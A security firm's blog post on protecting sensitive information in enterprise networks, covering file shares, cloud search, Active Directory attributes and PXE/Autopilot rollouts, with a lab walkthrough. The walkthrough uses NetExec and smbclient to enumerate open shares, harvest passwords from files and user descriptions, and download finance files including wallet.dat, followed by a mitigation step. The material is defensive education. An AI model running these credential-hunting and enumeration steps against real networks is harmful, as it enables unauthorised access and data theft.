

SecCore Essentials - Sensitive Information Protection



seccore.at/blog/sensitive-information-protection

Benjamin Floriani, Patrick Pongratz

September 29, 2025



Summary

This entry in our SecCore Essential series highlights places where sensitive information may be stored and acquired by attackers. It is considered implemented if the following conditions are met:

- Passwords are stored in secure password managers
- Regular reviews of file shares, document storage and Active Directory attributes are conducted
- No initial passwords are used (e.g. in PXE Boot environments or new users)
- PXE Boot environments are secured using a strong password

Introduction

Sensitive information such as passwords or administrative manuals have to be protected from unauthorized use. Attackers or even low-privileged employees may be able to access data that should not be known to them if file shares, cloud storage containers or even some Active Directory attributes are forgotten or misconfigured.

Common Attack Vectors

This chapter is about places where such information can be commonly found.

File Shares

In on premise environments, file shares using protocols such as **Server Message Block (SMB)**¹ or **Network File System (NFS)**² are common and widely used by users and systems such as Active Directory for accessing and distributing files. However, this ease of use can cause users to inadvertently share files or entire partitions with the entire network. Shares can be configured with Access Control Lists (ACLs) to restrict access to their content, but these have to be configured correctly in order to keep data secure.

Not only new file shares can be problematic, existing (global) shares also invite users to upload documents that they need to share with colleagues, unaware that these documents can be read by any user on the network.

Common problematic files and their location include:

- Scripts with credentials in the **SYSVOL** and **NETLOGON** shares of an Active Directory domain
- Backups and SQL dumps in **backup** shares on database servers
- Configuration files for embedded systems on unsecured NFS shares
Since many embedded devices can not be joined to an Active Directory, their NFS shares are commonly set to "public"
- Whole partition (C:, D:\ etc.) shares on clients or servers
- Web server configuration and backend code in **www** or **httpd** etc. shares

Cloud Storage

Cloud-only or hybrid environments tend to use cloud storage like **SharePoint**³, **Nextcloud**⁴ or OneDrive for data storage. These systems are usually more secure for sharing files, since restricting access to them is more intuitive for users. However, they also introduce some new problems and attack vectors. Many cloud services offer global full-text search, that often also includes text on images (via OCR). This makes it extremely easy for an attacker to gather information from a compromised user account, since they can natively search for phrases like "password" or "credential" in all accessible documents.

Active Directory Attributes

Active Directory attributes are fields for users, computers or groups that can contain additional information such as when the password was last set, a description of the asset or what their telephone number is. The following attributes for example can contain password information for users:

- unicodePwd
- userPassword
- unixUserPassword

- msSFU30Password

These attributes should never be readable by a low privileged domain user and regular audits for these attributes are recommended.

Additionally, a common security problem concerns a user's "description" attribute. Although this can be read by any user in the domain, it is often misused for storing sensitive information, such as initial passwords.

PXE Boot & Autopilot Rollout

Both PXE Boot and Windows Autopilot can be used to automatically set up devices such as laptops or workstation. PXE Boot is used in on-premise environments and uses TFTP to provide pre-configured system images to clients. These images can be encrypted using a password to protect possible secrets. However, tools exist⁵ to extract a password hash from the PXE environment that makes it possible to use a [brute-force attack](#) to crack the password locally. With this password the image can be downloaded and/or booted directly. This environment can then be searched for sensitive information such as a local administrator password or Wi-Fi credentials.

Autopilot on the other hand does not need any server hardware or system images. It is used to configure an already installed Microsoft Windows system. However, during the installation procedure (Out-Of-Box-Experience), it is possible to use the key combination **Shift-F10** to open a command prompt window and search for sensitive information or create a new local administrator user that can be used for additional information gathering when the system has been set up completely.

Attack Scenario

This section should demonstrate how attackers abuse sensitive information to gain unauthorized access. The setup of this attack scenario is as follows:

- The attacker has a foothold in the internal network without user credentials
- The attacker has no considerations regarding OPSEC, the most straightforward approach is used

Since the attacker has already a foothold in the internal network, they can start searching for accessible file shares using tools such as **NetExec**⁶ with the following command:

```
nxc nfs <ip-range> --shares
```

This may find an accessible share such as the devshare\$:

```

NFS      192.168.30.134 2049 192.168.30.134 [*] Supported NFS versions: (2, 3, 4) (root escape:False)
NFS      192.168.30.134 2049 192.168.30.134 [*] Enumerating NFS Shares
ERROR    Permission denied! Could not bind to low port, NFS functionality limited!
NFS      192.168.30.134 2049 192.168.30.134 UID      Perms      Storage Usage      Share
Access List
NFS      192.168.30.134 2049 192.168.30.134 ---      -----      -----      -----
NFS      192.168.30.134 2049 192.168.30.134 4294967294 r--      11.0GB/59.4GB      /devshare$
Everyone

```

Because this share is accessible without authentication, they can start searching for sensitive files using NetExec:

```

bf@DESKTOP-K7TUEGS -> nxc nfs 192.168.30.134 --share '/devshare$' --ls
[07:24:43] ERROR    Permission denied! Could not bind to low port, NFS functionality limited!      rpc.py:170
ERROR    Permission denied! Could not bind to low port, NFS functionality limited!      rpc.py:170
ERROR    Permission denied! Could not bind to low port, NFS functionality limited!      rpc.py:170
NFS      192.168.30.134 2049 192.168.30.134 [*] Supported NFS versions: (2, 3, 4) (root escape:False)
ERROR    Permission denied! Could not bind to low port, NFS functionality limited!      rpc.py:170
NFS      192.168.30.134 2049 192.168.30.134 UID      Perms      File Size      File Path
NFS      192.168.30.134 2049 192.168.30.134 ---      -----      -----      -----
NFS      192.168.30.134 2049 192.168.30.134 4294967294 dr--      64.0B      /devshare$/.
NFS      192.168.30.134 2049 192.168.30.134 4294967294 dr--      64.0B      /devshare$/..
NFS      192.168.30.134 2049 192.168.30.134 4294967294 -r-x      106.0B      /devshare$/test.txt

```

Using NXC again, the accessible files can be downloaded and searched for sensitive information:

```

bf@DESKTOP-K7TUEGS -> nxc nfs 192.168.30.134 --share '/devshare$' --get-file test.txt test.txt
[07:39:55] ERROR    Permission denied! Could not bind to low port, NFS functionality limited!      rpc.py:170
ERROR    Permission denied! Could not bind to low port, NFS functionality limited!      rpc.py:170
ERROR    Permission denied! Could not bind to low port, NFS functionality limited!      rpc.py:170
NFS      192.168.30.134 2049 192.168.30.134 [*] Supported NFS versions: (2, 3, 4) (root escape:False)
NFS      192.168.30.134 2049 192.168.30.134 [*] Downloading test.txt to test.txt
ERROR    Permission denied! Could not bind to low port, NFS functionality limited!      rpc.py:170
NFS      192.168.30.134 2049 192.168.30.134 File successfully downloaded from test.txt to test.txt
bf@DESKTOP-K7TUEGS -> cat test.txt
Hey you awesome devs!
To test things out in the AD you can use our test account with the password 12345!

```

The downloaded file revealed Active Directory credentials, which can be used to log on to the domain and further enumerate the network:

```

bf@DESKTOP-K7TUEGS -> nxc smb 192.168.30.0/24 -d lab.local -u test -p '12345!' --shares
SMB      192.168.30.134 445 SRV1      [*] Windows Server 2022 Build 20348 x64 (name:SRV1) (domain:lab.local)
l) (signing:True) (SMBv1:False)
SMB      192.168.30.134 445 SRV1      [+] lab.local\test:12345!
SMB      192.168.30.134 445 SRV1      [*] Enumerated shares
SMB      192.168.30.134 445 SRV1      Share      Permissions      Remark
SMB      192.168.30.134 445 SRV1      ---      -----      -----
SMB      192.168.30.134 445 SRV1      ADMIN$      Remote Admin
SMB      192.168.30.134 445 SRV1      C$      Default share
SMB      192.168.30.134 445 SRV1      financeshare
SMB      192.168.30.134 445 SRV1      IPC$      READ      Remote IPC
SMB      192.168.30.134 445 SRV1      Users      READ

```

Through the new access, other shares can be enumerated. Unfortunately, the financeshare is not accessible by the account test.lab.local, as it can be seen in the screenshot above. However, the access can also be used to read out the Active Directory attributes of all users:

```
bf@DESKTOP-K7TUEGS -> nxc ldap WIN-4SAHM65HN1H -d lab.local -u test -p '12345!' --users
LDAP 192.168.30.131 389 WIN-4SAHM65HN1H [*] Windows Server 2022 Build 20348 (name:WIN-4SAHM65HN1H) (domain:lab.local)
(signing:None) (channel binding:Never)
LDAP 192.168.30.131 389 WIN-4SAHM65HN1H [+] lab.local\test:12345!
LDAP 192.168.30.131 389 WIN-4SAHM65HN1H [*] Enumerated 12 domain users: lab.local
LDAP 192.168.30.131 389 WIN-4SAHM65HN1H -Username- -Last PW Set- -BadPW- -Description-
LDAP 192.168.30.131 389 WIN-4SAHM65HN1H Administrator 2024-06-18 08:07:03 0 Built-in account fo
r administering the computer/domain
LDAP 192.168.30.131 389 WIN-4SAHM65HN1H Guest <never> 0 Built-in account fo
r guest access to the computer/domain
LDAP 192.168.30.131 389 WIN-4SAHM65HN1H krbtgt 2024-06-18 08:17:01 0 Key Distribution Ce
nter Service Account
LDAP 192.168.30.131 389 WIN-4SAHM65HN1H clientuser1 2024-08-20 11:49:59 0
LDAP 192.168.30.131 389 WIN-4SAHM65HN1H t2bob 2024-08-22 18:09:41 0
LDAP 192.168.30.131 389 WIN-4SAHM65HN1H clientuser2 2024-06-18 09:53:42 5
LDAP 192.168.30.131 389 WIN-4SAHM65HN1H GenericAllUser 2024-07-26 11:36:45 5
LDAP 192.168.30.131 389 WIN-4SAHM65HN1H t2claire 2025-09-02 07:35:39 0
LDAP 192.168.30.131 389 WIN-4SAHM65HN1H t1claire 2025-08-21 14:11:03 5
LDAP 192.168.30.131 389 WIN-4SAHM65HN1H serviceUser 2025-08-22 09:15:57 5 Password=Qwerty123!
LDAP 192.168.30.131 389 WIN-4SAHM65HN1H test 2025-09-04 16:26:57 0
LDAP 192.168.30.131 389 WIN-4SAHM65HN1H financeAccount 2025-09-04 16:28:06 0 PW: ILoveMoney
```

As it can be seen, the user `financeAccount@lab.local` has a description that contains the password. This password can now be used to log on to the `financeshare`:

```
bf@DESKTOP-K7TUEGS -> nxc smb 192.168.30.134 -d lab.local -u financeAccount -p 'ILoveMoney' --shares
SMB 192.168.30.134 445 SRV1 [*] Windows Server 2022 Build 20348 x64 (name:SRV1) (domain:lab.local) (signin
g:True) (SMBv1:False)
SMB 192.168.30.134 445 SRV1 [+] lab.local\financeAccount:ILoveMoney
SMB 192.168.30.134 445 SRV1 [*] Enumerated shares
SMB 192.168.30.134 445 SRV1 Share Permissions Remark
SMB 192.168.30.134 445 SRV1 -----
SMB 192.168.30.134 445 SRV1 ADMIN$ Remote Admin
SMB 192.168.30.134 445 SRV1 C$ Default share
SMB 192.168.30.134 445 SRV1 financeshare READ,WRITE
SMB 192.168.30.134 445 SRV1 IPC$ READ Remote IPC
SMB 192.168.30.134 445 SRV1 Users READ
```

Using `smbclient`⁷, the share can be enumerated and sensitive files can be downloaded:

```
bf@DESKTOP-K7TUEGS -> smbclient //srv1/financeshare -U financeAccount -W lab.local
Password for [LAB.LOCAL\financeAccount]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0   Fri Sep  5 08:20:33 2025
..               DHS          0   Fri Sep  5 07:20:32 2025
transactionlist.xlsx  A    229635  Fri Sep  5 08:21:46 2025
wallet.dat           A    45927   Fri Sep  5 08:21:56 2025

15564031 blocks of size 4096. 12672398 blocks available
smb: \> recurse ON
smb: \> mget *
Get file transactionlist.xlsx? yes
getting file \transactionlist.xlsx of size 229635 as transactionlist.xlsx (6407.2 KiloBytes/sec) (average 6407.2 KiloBytes/sec)
Get file wallet.dat? yes
getting file \wallet.dat of size 45927 as wallet.dat (2803.1 KiloBytes/sec) (average 5276.5 KiloBytes/sec)
smb: \> |
```

Mitigation

After fixing the share permissions, the `devshare$` is not accessible anymore:

```
bf@DESKTOP-K7TUEGS -> nxc nfs 192.168.30.134 --share '/devshare$' --ls
[14:34:00] ERROR Permission denied! Could not bind to low port, NFS functionality limited! rpc.py:170
ERROR Permission denied! Could not bind to low port, NFS functionality limited! rpc.py:170
ERROR Permission denied! Could not bind to low port, NFS functionality limited! rpc.py:170
NFS 192.168.30.134 2049 192.168.30.134 [*] Supported NFS versions: (2, 3, 4) (root escape:False)
[14:34:01] ERROR Permission denied! Could not bind to low port, NFS functionality limited! rpc.py:170
ERROR Exception while calling proto_flow() on target 192.168.30.134: RPC_AUTH_ERROR: connection.py:188
AUTH_REJECTEDCRED
```

However, the user description also needs to be fixed. After removing the password from the description, it is not possible anymore to log on to the `financeshare`.